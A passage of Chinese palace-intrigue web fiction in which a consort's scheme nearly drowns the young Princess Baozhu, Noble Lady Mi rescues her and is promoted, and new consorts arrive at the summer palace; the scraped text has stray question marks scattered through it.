六宫皆知?,宝珠公主并非皇后?娘娘亲生,他昨儿?去伺候宝珠公主之前,听闻宝珠公主乖巧懂事,很是听皇后?娘娘的话,如?今来看,不过是有心人的传言罢了,事实并非如?此。 小?杜子自有计较,倘若他跟个墙头草似的,只?会两头不讨好,只?是这风向倒到?哪头,还得观摩观摩,宝珠公主虽是聪慧,可?不过六岁大,还不成气候。更何况日后?还要离宫,皇后?娘娘虽膝下无子,但终究是母仪天下的皇后?,日后?若能一直坐在这个位子上,也会是位居高?位的太?后?。 小?杜子眼珠子溜溜的转,去勤政殿的这一路,都在揣摩这事儿?。 …… 宝珠公主生母不得皇上所喜,但明眼人都看的出来,皇上很是疼爱这个女儿?。那日宝珠公主从勤政殿回仪元殿,紧跟着御前就赏赐了宝珠公主好些东西,光是上好的翡翠珠宝就足足有十匣。 而令众人更为诧异的是,宝珠公主竟请皇上将这些赏赐捐给各地?流民,以足温饱,前朝听闻,无不称赞宝珠公主虽是年幼,竟有如?此大义之心,不愧为我大魏公主,有我大魏之风! 闻言,帝王甚悦。 宝珠公主将皇上赐下的赏赐捐给了流民,唯留下一只?凤钗,献宝儿?似的给了皇后?,她踌躇地?站在案后?,矮矮的小?身子还没有檀木桌高?,她自知?做错了事,“母后?不要生气好不好,宝珠以后?不再乱跑了,好好听母后?的话。” 这般大的孩子,心性再聪慧,总会畏惧大人。 皇后?低眸,望着面前小?小?的孩童,颇有惋惜,这要是她亲生的女儿?该有多好。 可?惜,宝珠记事早,不会忘记自己的生母,她不愿意留在皇后?身边,可?她的脑瓜却也反应得过来,父皇让她留在皇后?身边,是为了她着想,她不能让父皇生气,她太?想娘亲的时候,就想跑出去,到?外面,说不准什么时候,就能遇到?她的阿娘。 这般,宝珠想了一整年,念了一整年,从未在宫道中,遇到?她的生母。 皇后?最终没有责怪她,只?是俯下身子,摸了摸宝珠的发顶,声线平和又带着从未有过的肃然,“无论你心中如?何做想,你都要记住,本宫都是你名义上的嫡出母亲,你永远是本宫的嫡长女。” 宝珠眼里的亮光一点一点暗淡下去,她很委屈,仍倔着没掉下泪,她偏过头,第一次在皇后?面前露出不曾有过的抗拒之意。 皇后?只?是淡淡地?看着她,最终,宝珠跪下了身,重重叩了一首,“是宝珠的错,宝珠记得了,母后?勿怪。” …… 没人知?晓仪元殿的这桩事,只?是伺候在宝珠公主身边的宫人们察觉,宝珠公主近些日子反而变得乖巧,每日读书习字听规矩,鲜少再跑出仪元殿胡闹。 宫人们整日提着的心脏落地?,终于松了口气。 仪元殿安安静静,可?急坏了王采女,宝珠公主不再来园中扑蝴蝶,她如?何实行自己的计策,不这般,又如?何得皇上多看一眼。 眼看要到?下月,王采女急得嘴边生了燎泡,这副模样,仪元殿问安时惹了不少人调侃,王采女皮笑肉不笑地?敷衍,愈发气从心生。 过了小?半个月后?,终于让王采女等到?了机会。 “小?杜子,再快些,冰水热了就不解暑了,我要亲自送给母后?!”宝珠两条小?短腿在前面走得飞快,可?苦了小?杜子,那浑圆的肉一颤一颤,仔细一看,伺候宝珠公主的这两日,身形反而消瘦不少。 小?杜子吐着浊气,额头的汗水哗啦啦往下流,“公主等等奴才,等等奴才啊!” 宝珠嫌弃地?皱眉,干脆一人抱紧食盒,飞快地?跑远了。小?杜子有苦难言,跟着宝珠公主,能不能享受荣华富贵他不知?道,唯一知?道的是,这条老命怕是要撑不到?那时候了! 他六岁大的时候,怎么就没公主这般活泼呢?想来也是,他穷苦人家出身,早年吃不饱穿不暖,进了宫可?了劲儿?巴结孝敬上头的公公,混到?今日,在奴才堆里也有几分脸面,不然也不能平白?长出这么多肉。 小?杜子摸了把额头的汗,呵哧呵哧地?继续追,宝珠公主身边没人跟着,万一出了差池,他才真的是活不到?荣华富贵那日子了。 近些日子宝珠与皇后?的关系缓和,宝珠不能时常见到?生母,她仍不愿亲近皇后?忘了曾经的娘亲,只?是她隐隐约约意识到?,她不能也不该再这样下去。 她是公主,可?父皇不止有她一个女儿?,也不止有她娘亲一个嫔妃,不会日日将她护在羽翼下,有些事,要她自己去想清楚。 愈这般想,宝珠圆溜溜的眼珠愈发坚定,母后?与父皇不同,母后?没有孩子,即便她不是母后?亲生,但母后?说过,自己永远是她的嫡长女。 宝珠为快回仪元殿,抄了近路,绕过鲜少有人经过的游仙湖,刚到?行宫时,她常常跑过来完,对这条路甚是熟悉,宝珠自信不会出事,她提着裙摆,小?心翼翼地?踏上废弃已久的木桥,手?臂伸展,保持着身子的平衡,一手?提着食盒,聚精会神,眼见就要到?了湖对面。 “叮咚——”有石子坠落湖面的声响。 宝珠分了心神,往那边看去时,脚下踩中青苔,身形陡然一滑,她瞪大了眼珠,惊叫出声,扑通坠入湖水,水光泛出圈圈涟漪,宝珠从未学过凫水,胳膊在水面扑腾挣扎,喉咙呛得满口腥苦。 “娘——娘亲——” 宝珠感受到?身子渐渐无力?发沉,要坠入湖中,她年纪还小?,不知?如?何描述心底陡然涌出的绝望又惊恐的情绪,只?是觉得害怕,她在哭,却四下无人,没人来救她。 湖水在日头下泛出光晕波澜,她忽然想起,曾经在娘亲身边时,一个服侍她的小?宫女误给她盛了一碗烫热的莲子羹,她烫到?舌尖,就哇地?哭了出来。娘亲边哄着她,边怒声斥责那宫女,她不记得娘亲说过什么,只?是不知?为何,记得那宫女被?拖出暖阁时,挣扎绝望的求饶。 她没了力?气,痛苦地?闭上眼,湖水要埋没她的发顶时,耳边仿佛隐隐约约听见了一道急切呼喊的女声,“宝珠公主!” 紧接着,远处那人扑通跳下水,拼命地?往她这面游。 而远处,灌木丛内的王采女,使?劲儿?扯着被?灌木勾破的衣衫,又急又气地?看着远处那一幕,她原本是想设计宝珠公主落水,自己再在危机时相救,皇上喜爱宝珠公主,倘若自己救下宝珠,岂不得皇上多看几眼,届时,想要得宠,怎非难事。 可?千算万算没算到?,游仙湖久没有人洒扫修建,灌木丛枝杈横斜,竟勾住了她的衣裳,叫她无发脱身。 她见宝珠公主掉下水,在湖里不停地?挣扎扑腾,很快要没动静,王采女简直心急如?焚,一把扯下了芍药花裙的裙摆,正要飞奔过去,眼见宓贵人不知?忽然从哪现身跳入水中,她闪身躲到?灌木后?,看宓贵人将宝珠公主从水里湿漉漉地?拖到?岸上,紧跟着呼啦啦围上一群伺候的奴才,七手?八脚地?簇拥着离开了游仙湖。 王采女怔住,彻底傻了眼,她死死掐住手?心,眼底划过一抹气恼的阴狠。 …… 先帝在时,曾一日梦魇,梦见游仙湖中有一丈长巨蟒,一口咬掉他的喉骨,先帝猛然惊醒,竟也不系衣带,赤脚跑出宫廷,连夜召见朝臣进宫,要填了行宫的游仙湖。前朝老臣一听,大呼不可?。游仙湖是太?///祖///爷在世时,曾梦在湖中遇白?衣仙人,连梦数日,受化得道,故取名游仙。累及皇室子子孙孙,怎能说填就填了! 先帝昏聩执拗,架不过那老臣一哭二?求,险些上吊,才吹胡子瞪眼,勉强答应。不过先帝每每去行宫,从未踏足过游仙湖一步,也不准旁人踏足,设令,进出游仙湖者死,直至今日,先帝薨逝,这条令慢慢叫人淡忘,后?进宫人也不得而知?。 第065章 第 65 章 明裳裹着宫人送来的披风, 由月香拧着帕子,擦去她侧脸的水渍污泥。 主子乍然落水,可?是吓坏了?月香, 早知如此, 她就不去取那个笼子,她水性也是不差, 拉宝珠公主上岸还是绰绰有余,见主子衣衫湿透,颇为狼狈的模样, 月香就愈发心疼。还好是在夏日,不至于冻坏了?身子,不然她可?是要自责死了?。 明裳不知月香心中所想,她眼眸微低,指尖轻拂去衣袖沾染的泥土, 幸而日头?烈, 很快就蒸烤掉了?她宫裙的水汽。 今儿?她原是应了?张嫔的约, 一同出来游园,两人没说上几句话,绮霞楼就有宫人来禀, 说是小皇子哭闹要找母亲, 张嫔才无奈与明裳作别。明裳并未立即回雪霁亭,摘花时瞧见林子里有只雪白?的兔子,她叫月香回去取笼子,要将那兔子养到行宫里,还没等抓到, 就听见湖里清脆又微弱的呼救声。 那张呛了?水的脸露出来,她才认出竟是宝珠公主。 明裳并非全无把握才去救宝珠公主, 她水性好,游仙湖原又是一处泉子,温热着,因正是夏日,碍不得事,更何况,她也不忍眼睁睁地看着一条命就这?样溺死在水里,便再?未多想,跳了?下去。 宝珠公主被小杜子抱着送去了?最近的偏殿,小杜子虽肥胖浑圆,真?正到了?紧急的情?况,两条腿跟踩了?风火轮似的,跑得飞快,恨不得四?条腿。他跟着宝珠公主偷偷出了?仪元殿,又生了?这?么一桩糟心的事儿?,倘若公主有失,他真?的是九条命都不够皇上泄火的! 越想越是心惊,小杜子心口砰砰乱跳,抱着救命疙瘩,一溜烟飞去偏殿。行宫不比皇城宽广,太?医没多久,提着医药箱进来,宝珠公主已经被懂凫水的宫女挤压出了?胸腔的积水,太?医把了?脉搏,确认无事,才转身回话。 皇上皇后未到,偏殿里就剩明裳一个主子,明裳要是不受宠,倒也愿意与后宫的公主亲近,谁叫她与阮嫔还有宿怨,阮嫔落到今日下场,虽不是她所为,多少?也有点牵扯。这?些时日,明裳可?没少?听有关这?位宝珠公主的事迹,小小年纪就有如此心性,明裳倒是怕她随了?阮嫔的性子,与当年的阮嫔一般,横竖看她不顺眼。 明裳抿唇,朝里面瞧了?一眼,性子还未长开的稚童,身边只有一个大监伺候,她有些不忍心,抬手掀开珠帘,坐到床榻边,听太?医回话。 “宝珠公主受了?惊吓,幸而主子救下得及时,休息一段时日便好,并无大碍。” 这?太?医是从皇城跟到的行宫,很是会说话,宝珠公主睁眼茫然的一瞬间?,听到太?医这?句,很快记起落水时的情?形,有一双手,牢牢地托着她的腰,将她拖去了?案上,她昏过去的那一刻,记得那个怀抱很是温暖,像极了?她的娘亲。 她动动发白?的唇,圆溜溜的眼珠竟稳重得不像一个六岁的孩子。 “是你,救了?我吗?” 要是换作别的孩子,会不会立刻就扑到母亲怀里,委屈的哭诉。 明裳心中油然生出怜意,抚了?抚宝珠的侧脸,柔声安慰,“公主不必害怕,已经没事了?。” 宝珠慢慢弯起唇角,声音无力,真?诚地感激道:“谢谢你。” 殿门?打开,帝后二人先后入了?内殿,明裳起了?身子,向帝后二人福礼,皇后已经哭红了?眼,抱住床榻里躺着的宝珠,没了?往日的仪态,“是母后不好,母后来迟了?……” 不论皇后此番作态是否真?心,哭出的泪音足已叫人动容,甚至跟过来的宫人,偷偷抹了?眼泪。 李怀修沉着眼,让明裳免礼,问太?医公主可?有大碍,见明裳湿漉漉的头?发,眸色更深,又问宓贵人身子如何,太?医被皇上脸色吓得冷汗简直要湿了?衣裳,都一一答了?,两位主子都无大事,公主只是受了?些惊吓,那处泉子不冷,宓贵人身子更加无事。 比太?医更加忧惧的是早就跪在地上的小杜子,只有他跟了?公主出了?仪元殿,公主出事,他不仅难逃其咎,严重点,说不准皇上一怒之下,直接让他脑袋搬家。 小杜子惶恐不安,哀叹自己的命怎么就这?么苦。 太?医再?次为刚醒来的宝珠诊过脉象,慎重答完,答复比方才还要细致十分。 得知两人都无事,李怀修才将话锋转向伺候宝珠的宫人,“朕会从御前重新?拨人到宝珠身边伺候,那些宫人伺候不利,既是无用,拖下去直接杖毙。” 小杜子一听杖毙,两股一下瘫软,心脏都要被吓出来,一把鼻涕一把泪地砰砰叩头?,“皇上,奴才该死,奴才罪责难逃,都是奴才没伺候好小公主,求皇上饶了?奴才,再?给奴才一次机会吧!” 闻言,皇后敛眸,抚了抚宝珠的发顶,扶着文竹的手,跪下身,“今日之事,也有臣妾疏忽之责,请皇上责罚。” 李怀修冷眼看着皇后,轻捻着拇指的扳指,却是没有立即开口。 “父皇,宝珠没事,父皇不要怪母后和小杜子……”宝珠扶着小宫女的手,也有些畏惧此时的父皇。除却娘亲犯错那日,她从未见父皇如此让她害怕的模样。 李怀修压着眉眼,并未因宝珠的求情?退让,他能坐到这?个位子上,也不是因求情?就心软的人,他原以为上回将宝珠带回御前用膳,皇后就能明白?他的意思,他知晓皇后至今仍有当年的丧子之痛,但她是大魏的皇后,享这?母仪天下的尊荣,理应照料后宫的皇嗣,她却始终于他的心思而耿耿于怀,这?些年,竟还未通透。 他脸色越来越淡,没当着宝珠的面训斥皇后什么,挥手让全福海将那个伺候宝珠公主的奴才拖下去,小杜子哭嚎不已,猛然间?,他记起什么,使劲儿?抱住全福海的大腿,连猜带蒙,急声道:“皇上!奴才……奴才去寻宝珠公主时,在游仙湖发现另有人在,宝珠公主的落水或许是有人故意设计,并非意外?!” “皇上!是有人要害宝珠公主!” 小杜子身形浑圆肥胖,是全福海两个大,全福海腿使劲儿?蹬都蹬不动,累得满头?大汗,他听完小杜子的情?急下脱口而出的话,愣住了?神儿?,不敢再?处理了?小杜子,转身去请示皇上。 经小杜子一提,明裳仔细从记忆中回忆一番,她将宝珠公主从湖中拖上岸时,好似确实在灌木丛发现一抹不同于鲜绿的颜色,因她当时急着要救宝珠公主,只是一瞬间?的迟疑,并未放在心上。 宝珠公主又非皇子,倘若真?的有人算计,是谁要用这?种手段置一个孩童于死地,实在太?过恶毒。 明裳想不通那人,岂止是明裳想不通,怕是没人猜到王采女的想法?。 日暮西沉,直至悄无声息,王采女在灌木丛后听不见外?面的动静,四?下张望一眼,才从灌木丛中现身,她拣干净了?树杈刮的布料,藏到怀中,仿若无事地出了?游仙湖。 回寝殿的路上,王采女又故意抄小路,脚下被石子绊了?一跤,扑通摔了?身子,崴了?脚踝,又正正好好将衣衫勾破。 正巧一个洒扫的小宫女过来,看清王采女的模样,王采女沉眼,暗道了?声晦气,拧眉朝那宫女斥道:“愣着做甚!还不过来扶我!” 小宫女刚进行宫伺候没多久,畏惧上头?的主子,扔了?扫把便过来扶王采女,王采女瞧她唯唯诺诺的模样,拂了?拂衣袖的泥土,轻嗤了?声。小宫女被主子冷脸吓得,头?埋得更低了?。 …… 全福海得了?皇上吩咐,立即着手去查宝珠公主坠湖一时,不知哪个蠢东西,吃了?熊心豹子胆了?,敢算计皇嗣,简直是不要命了?。 …… 后午,一抹粉衫团子的人影吃力地提着一个食盒,晃荡着两条小腿,后面跟着个一瘸一拐的胖太?监,两人一前一后,一同往雪霁亭去走。 那日,皇上终究是饶了?小杜子一条命,但倘若小杜子所言有虚,伺候公主身边的宫人依旧杖毙,小杜子吓得胆颤,虽然暂且保下一条小命,仍旧没逃脱杖责,五十丈下去,他屁股直接开了?花,趴在榻上哎呦了?整整三日,到第四?日,听闻公主身边有了?皇上亲自拨过来的大监,麻溜套上衣裳,撅着屁股跑到宝珠公主跟前伺候,幸而公主念旧,没嫌弃他粗手笨脚。 小杜子跑到宝珠身侧,汗流浃背,“这?种粗活,公主快交给奴才吧!” 宝珠拂开他的手,嫌弃地拱拱鼻子,“你粗手笨脚的,再?碰坏了?里面的雕花,可?就不好了?。” 粗手笨脚的小杜子苦着脸干笑,“奴才愚钝!奴才愚钝!” 后午日头?炎炎,守门?的太?监正昏昏欲睡,小杜子极有眼色地过去,肥胖的身躯为小太?监覆下大片的阴凉,“劳烦公公通禀宓贵人一声,宝珠公主特来感谢宓贵人那日相救。” 守门?的小太?监有些傻眼,愣愣地探出脑袋,才从小肚子身后,看见了?一脸稚气的宝珠公主,他忙福了?礼,迎公主去偏殿,匆匆回内殿通禀。 不巧的是,今儿?皇上在雪霁亭歇晌,直到现在。 全福海正在外?头?候着,得知宝珠公主竟到这?儿?来了?,一时也有些诧异,他先去了?内殿通禀,又亲自到偏殿迎人。 “奴才请公主安。” 宝珠眨了?两下眼,微微愣住,认出这?人是跟在父皇身边的大监,迟疑道:“父皇也在雪霁亭?” 全福海笑着点了?点头?,依着宝珠公主古灵精怪的性子,他方才倒是有几分疑心公主是得知皇上在雪霁亭,才借着由头?过来,眼下来看,公主脸上的神色并非作假,当真?是不知皇上在此。皇上前午见了?朝臣后,随意到行宫走走,并未备辇,正巧宓贵人的雪霁亭相隔勤政殿颇近,皇上也就自然而然到了?这?儿?。 既然父皇在,宝珠有些犹豫,要不要这?时候去向宓贵人道谢,她其实很别扭,虽感激宓贵人,却也不喜欢见到父皇与自己的庶母同处。 她纠结地扣了?扣手指,“既……既然父皇在,那我明日再?来吧。” 话音落下,殿外?就走近一道颀长的身影。 “宝珠。” 男人步入偏殿中,李怀修负手进来,凤眸含笑,宝珠见到父皇,立即跑过去抱住了?男人的大腿,随后,待宝珠看到后面一同进来的宓贵人,又有些别扭地偏过头?。 她还是喜欢父皇和娘亲在一起。 她想了?想,怕父皇不高兴,又扭过头?,规规矩矩地见了?礼。 小团子伪装得再?好,那心思也叫人看得一清二楚。 不知为何,明裳竟觉得有点好笑,想到前些日子张嫔还与她说宝珠公主聪敏,如今来看,不过是想要得到父母疼爱的孩子心性。 宝珠转身把食盒打开,指着里面翡翠绿的雕花糕点,“这?是我亲自给宓贵人雕的花糕,感谢宓贵人那日救我。” 还是个小孩子,却故作一派老?气横秋的作态,一本正经地道谢。 明裳弯了?弯眸子,“公主不必言谢,嫔妾想,换作旁人也不会袖手旁观,都是嫔妾本应做的。” 送了?糕点,宝珠先离开了?雪霁亭,糕点盒子由小杜子提着,小杜子瞧公主自打从里头?出来,情?绪似很是低落,不由问道:“公主有什么不高兴的,说给奴才,奴才定上刀山下火海哄公主欢心!” 宝珠忧愁地叹了?口气,小杜子竟从六岁的小公主脸上看出难以言说的复杂,他听公主问道:“你那日当真?没看错吗?” “我落水并非意外?,是有人要害我?” 这?事儿?小杜子都捅到了?皇上那儿?,他哪敢欺瞒皇上,掷地有声道:“千真?万确,奴才定是不会看错的。”他顺便又拍了?句马屁,“公主如此聪慧,若非无人设计,又怎会掉到水里,那人定是看准了?时机,见公主身边无人,才下了?狠手!” 宝珠看向小杜子的眼透着疑惑和不解,“那他为什么要害我?宝珠不曾做过什么,只希望父皇能多陪陪宝珠……” 她最后的话音儿?,竟带了?害怕恐惧的哭腔。 小杜子伺候宝珠公主,自然知晓,落水那事过去后,宝珠公主一连几日梦魇睡不好,是皇后娘娘日日衣不解带陪在身边照顾,到了?昨儿?才有了?精神头?。 小杜子不知该如何回答公主这?句发问,他虽没在后宫伺候过主子,可?倒底混到了?行宫管事,怎会不明白?那些腌臜的争斗,宝珠公主养在皇后娘娘身边,对后宫主子并无威胁,错就错在,得皇上喜爱。 但凡跟皇上沾了?边儿?,总要有人惦记。宝珠公主仍是孩子心性,哪会想通其中的弯弯绕绕,小杜子没敢跟宝珠公主说实话,只道:“那人的心思谁猜的清楚,奴才看,那等恶毒之人,受再?重的惩罚都不为过。” 他怕公主再?问,赶忙转了?话头?,“时候不早了?,公主出来得久,快些回仪元殿吧,娘娘该担心了?。” 宝珠眼神低落,她心里还藏着一件事,从未对旁人说出口。 他们都说,是自己害了?娘亲。 …… 宝珠送来的雕花糕点看着样式好看,里面却是不知加了?什么馅料,难吃得紧,明裳好奇吃了?一口,险些难吃得吐出来。奈何男人在这?,她也不能直言他女儿?送来的糕点实在难以下咽,于是,硬生生咽下了?一块。 她瞄了?眼男人专注下棋的神色,水眸一转,捧着翡翠雕花糕坐到男人身侧,仿似献宝似的道:“宝珠公主送来的糕点,皇上不尝尝吗?” 李怀修竟是看也不看她,手执黑子落到棋盘上,淡淡启唇,“你吃过了??” 明裳觉得男人脸色有点奇怪,似是在忍耐什么,可?她又说不上来,她点点头?,再?接再?厉,“皇上尝尝。” 李怀修这?才掀起眼,眸底沁着一丝好笑的玩味,握拳抵唇,忍俊不禁地问她,“味道如何?” 这?回,明裳终于看清了?男人眼底的戏谑,她后知后觉明白?过来,气恼地将拖碟重重放到案上,“皇上知道这?糕点的味道,还由嫔妾吃下去!” 李怀修“啧”了?声,极为自然道:“朕见你吃了?一口,就把整块都吃了?,以为你偏爱这?麝香猫果的口味。” 食盒打开时,李怀修一眼就认出了?里面的果子,宝珠偏爱麝香猫果,故而,自以为旁人也喜欢,曾送给他一匣,如此来看,宝珠确实很是感激这?女子,性子也不像她的母亲。 明裳眸子嗔恼,偏生男人说得有条有理,她简直是有苦说不出,干脆忍了?怒气,指尖捏了?一块糕点,递到男人嘴边,眼眸无辜,“宝珠公主一番心意,皇上这?个做父亲的,怎能枉费了?。” 李怀修撂了?手中的白?子,侧过过身,冷睨着她,呵笑一声,“虞明裳,朕看你是愈发不知分寸了?!” 还是头?一回,男人连名带姓地唤她,明裳脖颈一抖,气焰瞬间?弱了?下来,还强撑着把糕点放回拖碟,撅着嘴嘀嘀咕咕,“不吃就不吃嘛,这?么凶干嘛!” 他这?就凶了??李怀修脸色铁青,从没有人让他这?般憋闷过。 玩闹一番后,明裳想起了?正经事,她羞答答地伏到男人怀中,葱白?的指尖儿?有一搭没一搭地玩着男人对襟的扣子。 李怀修正捡起一枚黑子,思量下一步的 走法?,被怀里这?小妖精闹得有点不耐烦,按住那只手,让她莫要再?乱动,谁知那女子得寸进尺,没个消停劲儿?,云鬓花颜,勾的人心浮气躁。李怀修身子一僵,没了?耐性,手臂将人紧紧禁锢到了?胸怀,揉了?把女子的软腰,垂眼睇她,“做甚?” 见男人终于搭理自己,明裳眼睫撩起,乌亮的眸中如同含了?盈盈春水,在那样看他,又娇又俏,“算上这?一回,嫔妾可?救过宫里两个皇嗣了?。” 只这?一句,李怀修就听出了?这?女子的小心思。有功当赏,她这?功,他压了?两回。本是想在册封新?人之时,再?顺理成章地提她位分。 李怀修低着眼睑,眼尾微挑,仿似没听懂她的暗语。见男人这?样理所当然地态度,明裳生了?些恼意,嗔着眸子,娇哼了?声,垂下的青丝衬得她那张艳红如霞的脸蛋美得不像话,“嫔妾不管,嫔妾不想做主子了?,嫔妾想做娘娘。” 这?般勾勾搭搭,又理直气壮。 李怀修气得好笑,还从没人敢这?样跟他说话,倒是有些新?鲜。这?女子也是知道分寸,跟个兔子似的,说是恼了?,还乖乖地赖在他怀里。 李怀修指腹挑去她颊边的发丝,又去捻那张脸蛋,唇角勾了?勾,漫不经心,颇为风流。他没说好,也没说不好,掌心按住女子的后颈,低头?,吻住了?那张通红诱人的小嘴,“想求朕做宫里的娘娘?” 俊面如斯,醉人心扉。 不知为何,这?时候明裳反倒有些怕了?,甚至被男人吻过后,还愣了?一下,晕晕乎乎地点了?点脑袋。 女子那双柔荑生得又细又软,精致无暇,唯独是力气不够,手掌又小。良久,明裳伏回男人胸怀,想到片刻前看见的东西,羞得不敢抬头?,愈发不解,她侍驾的时候,究竟是怎么容的下的! …… 晋升圣旨传下的时候,皇后与六宫嫔妃在御花园中小坐,得知此讯,当场的嫔妃面面相觑,惊诧不已,个个嫉妒得红了?眼,宓贵人可?真?是好命啊,轻而易举就被晋到了?贵嫔的位分,做甚她们没有这?个好命,要是她们也能救下落水的宝珠公主就好了?! 贵嫔再?上就是妃位,宓贵人尚无皇嗣,就一跃嫔位,到了?贵嫔之位,六宫嫔妃闻讯,心里都颇不是滋味儿?。 皇上鲜少?在意后宫的位分,贤妃与杨贵嫔都是因家世受封,皇上能给宓贵人这?么大的殊荣,不因家世皇嗣,还能因为什么。 待众人再?到仪元殿问安,见到宓贵人,不得不规规矩矩地屈膝福身,称一声贵嫔娘娘,无论她们心中是否敬服,这?份荣光是皇上所赐,她们不敢不尊。 第066章 第 66 章 全福海办事利索, 没?过几日,就查到那日园中?洒扫的宫女身上。此事闹得行宫人心?惶惶,那日去过园中?的嫔妃虽自知清白, 也免不了心?惊胆颤, 万一查不到人,拿她们去替罪呢? 那日曾去过园中?赏花的嫔妃并不少, 也有几个被树杈划破衣裳的嫔妃,因而,王采女自信没?人知晓她曾去过游仙湖, 她自以为天衣无缝,直到全福海领着?园中?那日洒扫的小?宫女带到她跟前。 王采女暗觉不好,指尖揪紧了手心?的帕子?,仿若无事地问出口,“全公公这是什么意思, 可是皇上有何吩咐?” 全福海面?色如常, 恭敬地笑道:“咱家是奉皇上的命, 请主子?去诏狱走一趟,主子?自行交代了做过的事,也好免去一番皮\\了肉之苦。” “放肆!”王采女冷眼横眉, 压住手心?的颤意, 厉喝道:“我虽只是采女之位,可也轮不到你一个阉人威胁!” 阉人二字可是直戳了全福海的肺管子?,阉人怎么了,他?伺候在?御前,深得皇上信任, 即便是个阉人,前朝后宫谁不给他?几分脸面?。阉人也是人, 全福海好言相?对,那是他?习惯了如此行事,做事留三分,偏生有人不受用他?的好意。 他?皮笑肉不笑道:“主子?到了这份儿上,强撑不了多久,主子?不想听奴才好言好语,待奴才禀明?了皇上,主子?可就没?这分体面?了。” 王采女何听不出这阉人话中?的威胁,她咬了咬牙根,何以甘心?自己费尽心?思入宫,竟如此收场,落得这般惨淡结局。 行宫未设慎刑司,诏狱却远比慎刑司骇人,她这些年也算是养尊处优,怎愿意去诏狱那鬼地方。 王采女猛地抬眼,面?容终于泄出了一丝慌乱,“我要见皇上!” 全福海拂了拂衣袖不存在?的尘土,眼里?没?有同情,这小?宫女都说?得一清二楚,她并非偶遇王采女,是早在?王采女进?到竹林时,就看见了人,只是自知被王采女知晓,定会灭口,被他?审问两回,就守不住嘴巴,吐了实情。 知晓缘由,他?便到御前禀明?了皇嗣,敢利用皇嗣争宠的阮嫔早降了位份被禁在?宫中?,尚且生下过皇嗣的嫔妃落到这般下场,王采女从未入皇上眼中?,能有什么好结果。 很快,住在?行宫的嫔妃就得知,王采女因谋害宝珠公主,下了诏狱。众人不禁唏嘘,因此事,后宫终于清净了一段日子?。 …… 七月二十三,晨间,仪元殿 贤妃品着?新上的茶水,咂摸出一丝与往日不同的味道,“娘娘今儿的茶水,似乎要比往日浓了些。” 不止贤妃一人,请安到的嫔妃,也都尝出了一丝怪异,今儿的茶水忒苦,喝下一口便再不想喝。 皇后轻描淡写地看去沏茶的宫人,那宫女惊慌跪身,解释道:“昨儿娘娘因天气燥热生郁,太医与奴婢说?,苦茶消暑,故而奴婢自作主张,为娘娘主子?们沏了苦茶水,以消暑气。” 她头猛地叩到地上,“奴婢知错,请娘娘恕罪!” 文?竹也替那宫女求情,“娘娘,秋雨也是好心?,为娘娘主子?们的身子?着?想,娘娘就饶了她这一回吧。” 皇后移开眼,目光看向贤妃,贤妃正意味深长地思量,触到皇后看过来的眼神?,扬唇露了个笑,“既是好心?,娘娘也不必过于苛责。” “臣妾也是头一回听闻,苦茶能消暑呢,只可惜茶水太苦,比这苦夏还?难熬,否则臣妾必然要试试娘娘这个法子?。” 皇后并不在?意贤妃的讽意,抬手让秋雨起来,眼光带上一丝关切,道:“倘若喝不惯,本宫唤人沏上新茶。” 不过一盏茶水,苦些又能如何,倘若真的换了新茶,岂不是不给皇后娘娘脸面?,众人立即多抿了两口,压住喉中?酸苦,说?此茶甚好。 皇后微微一笑,余光不着?痕迹地打量向宓贵嫔,见她饮下半盏,才敛了眉眼。 嫔妃中?,张嫔下意识地记起,她有孕时,太医曾直言,有孕的女子?切记不能饮苦茶水,茶水性寒,多饮则对胎气有损,皇后今日这番,究竟是为了对谁的试探。 明?裳并未察觉这事,她吃不得苦,浅浅抿了半盏,就不愿再饮了。 …… 到了下月,新人进?了行宫,只是这次新人中?,建功侯府的嫡女不知为何,并未在?册封之列。 三人进?宫,翰林院掌院学士徐家的二姑娘册封为从四品美人,督察员左都御史罗家的五姑娘册封为正五品常在?,内大臣白家的九姑娘册封为从五品答应。 三人到行宫当日,先去了仪元殿向皇后请安。 新人入宫,去仪元殿请安的时候,行宫的嫔妃也去凑了热闹。这次进宫的嫔妃有三人,论起家世门第?最高的,要数徐美人,论起不俗的容貌,白答应则更胜一筹,三人一入殿,殿中坐着的嫔妃目光齐齐落到了后面?的白答应身上。后宫美人不少,不缺拔了尖儿的美人,可白答应在?其?中?,仍是不输三分,白答应的美多的是一种异域风情,眉浓鼻高,少去女子?的柔美,多的是爽心悦目的英气。 新人从仪元殿出来,各去了寝殿,今儿新人入宫,皇上势必要点寝新人的名册,三人都有些惴惴,既期盼皇上召幸自己,又记起入宫前家中?叮嘱,以及建功侯府嫡女莫名其妙被除了名,又远离上京,对那位君王都有些畏惧。 …… 徐美人被分到了怡香苑,进?宫的新人中?,徐美人的家世最好,怡香苑又是皇后娘娘亲自指的,离皇上的勤政殿最近,引路的公公心?中?有这个思量,一路上不停说?着?好话,徐美人知晓宫里?的规矩,家中?也不缺银钱,到了怡香苑,给身边带进?宫的侍女示意,翠菊立即从袖中?掏出了一个沉甸甸的荷包,那公公拿在?手里?悄悄掂量,脸上都要笑出了褶子?,又说?了几句吉祥话,才躬身告退。 翠菊扶着?徐美人进?了内殿,怡香苑日日有宫人洒扫,干净清爽,进?殿东向是一张梨花木的八仙桌,上面?摆着?雕花的铜镜、文?玩,还?有一扇翡翠砚屏,可见布置之人是用了心?思。 徐美人坐下身,吩咐翠菊去唤怡香苑伺候的宫人进?来,这些宫人待下月圣驾回宫,也要跟着?她一同回去,日后就是在?身边伺候了。 她是家中?的嫡出姑娘,家中?早就想让她进?宫,侍奉君王身侧,若非去岁年纪不够,早已入了宫,这些规矩于徐美人尚有些生疏,但她也能应付得过来。 伺候在?怡香苑的宫人原是行宫的奴才,这回得了新主,倘若主子?得了圣宠,日后他?们随着?主子?水涨船高,也少不得好处。因而宫人们都似有了盼头般,对着?新主毕恭毕敬。 徐美人教导了规矩,吩咐翠菊赏了银钱,只留下了怡香苑的掌事姑姑。 她温声道:“我刚进?到这宫里?头,对宫里?的规矩尚不熟悉,以免冲撞了皇上,还?盼姑姑与我细说?一二。” 丹桂是跟随先太妃到的行宫,太妃病故后,她就一直留在?了行宫中?掌事,方才徐美人一番作态,如何不熟识规矩,无非是想知道宫中?情形罢了。 这位主子?是聪慧的。 丹桂神?情愈发恭敬,一一回话,“主子?的寝殿是皇后娘娘亲点,不过离皇上最近的住处,还?是要属宓贵嫔的雪霁亭,雪霁亭冬暖夏凉,舒服极佳。”她微微顿了下,迟疑道:“不过,宓贵嫔自住进?了行宫,从未侍寝。” 